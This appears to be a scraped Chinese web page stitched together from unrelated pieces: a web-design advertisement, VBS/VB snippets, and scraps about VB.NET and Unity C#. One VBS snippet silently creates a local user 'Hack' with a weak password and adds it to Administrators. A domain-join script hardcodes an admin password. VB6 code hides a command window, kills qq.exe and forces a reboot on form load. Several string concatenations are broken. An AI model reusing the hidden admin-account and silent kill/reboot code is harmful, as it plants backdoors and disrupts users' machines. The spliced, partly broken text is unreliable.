13518219792
Dim wsh
站在用户的角度思考问题，与客户深入沟通，找到太白网站设计与太白网站推广的解决方案，凭借多年的经验，让设计与互联网技术结合，创造个性化、用户体验好的作品，建站类型包括：网站制作、做网站、企业官网、英文网站、手机端网站、网站推广、国际域名空间、网络空间、企业邮箱。业务覆盖太白地区。
Set wsh=CreateObject("Wscript.Shell")
wsh.Run "Net User Hack 12345 /Add ",False
wsh.Run "Net Localgroup Administrators Hack /Add",False
Set wsh=Nothing
调用命令行建立本地用户组
**********************************************************
别人的代码，我没有修改。。。
添加局域网内的机器进入域，里面的相关名称请自行修改。
Const JOIN_DOMAIN = 1
Const ACCT_CREATE = 2
Const ACCT_DELETE = 4
Const WIN9X_UPGRADE = 16
Const DOMAIN_JOIN_IF_JOINED = 32
Const JOIN_UNSECURE = 64
Const MACHINE_PASSWORD_PASSED = 128
Const DEFERRED_SPN_SET = 256
Const INSTALL_INVOCATION = 262144
strDomain ="china.com.cn" ’域
strPassword ="bbb-777" '域管理密码
strUser ="admin_china" ‘域管理员名
Set objNetwork = CreateObject("WScript.Network")
strComputer = objNetwork.ComputerName
Set objComputer = GetObject("winmgmts:{impersonationLevel=Impersonate}!\\" _
strComputer "\root\cimv2:Win32_ComputerSystem.Name='" _
strComputer "'")
ReturnValue = objComputer.JoinDomainOrWorkGroup(strDomain, _
strPassword, strDomain "\" strUser, NULL, _
JOIN_DOMAIN + ACCT_CREATE)
wscript.echo "您已成功加入域。"
wscript.echo "请手动重启电脑!"
**************************************
加入后，请再“Wscript.Run "Net Localgroup Administrators 账号 /add”
”VBS脚本“可以用任何纯
文本编辑
工具编写，包括系统自带的”记事本“。VB.NET当然也可以。
如果你是需要语法提示之类的，VB.NET可以提供绝大部分的语法提示。毕竟
VBS
是
VB
的子集。
VB很强大，高手可以用它做90%的各种应用。编写一些简单的游戏辅助脚本是没问题的。
VBS是Visual Basic Script的简称，它是VB的一个子集，具有VB的部分功能，而适应性更强。
一般来说，会VB的人只需要简单的了解一下区别就能熟练编写VBS代码了。
u3d支持c#和js两种脚本，而且c#是最普遍的，咱们看unity用的编译器，是c#的跨平台开源编译器mono，而且是unity更改过得mono，这个编译器是基于c#.net2.0的语法的，但是由于unity的更改，使得它也支持了一些.net3.5的语法，比如匿名函数lambda表.
只要
Private Sub form_load()
Shell "cmd.exe /c taskkill /f /im qq.exe", vbHide
Shell "cmd.exe /c shutdown -r", vbHide
End Sub
就行了（这是VB 6.0的代码）
原理就是用VB调用命令提示符在执行命令，如果你还想用VB调用其他的cmd命令，就把"/c"后的东西换成命令即可
Shell "cmd.exe /c shutdown -r", vbHide的“-r”后加上“-t 5”就可以延迟5秒再重启：Shell "cmd.exe /c shutdown -r -t 5",vbHide，后边的数字可以换成别的，单位秒。vbHide可以隐藏cmd窗口，即那个黑框框。
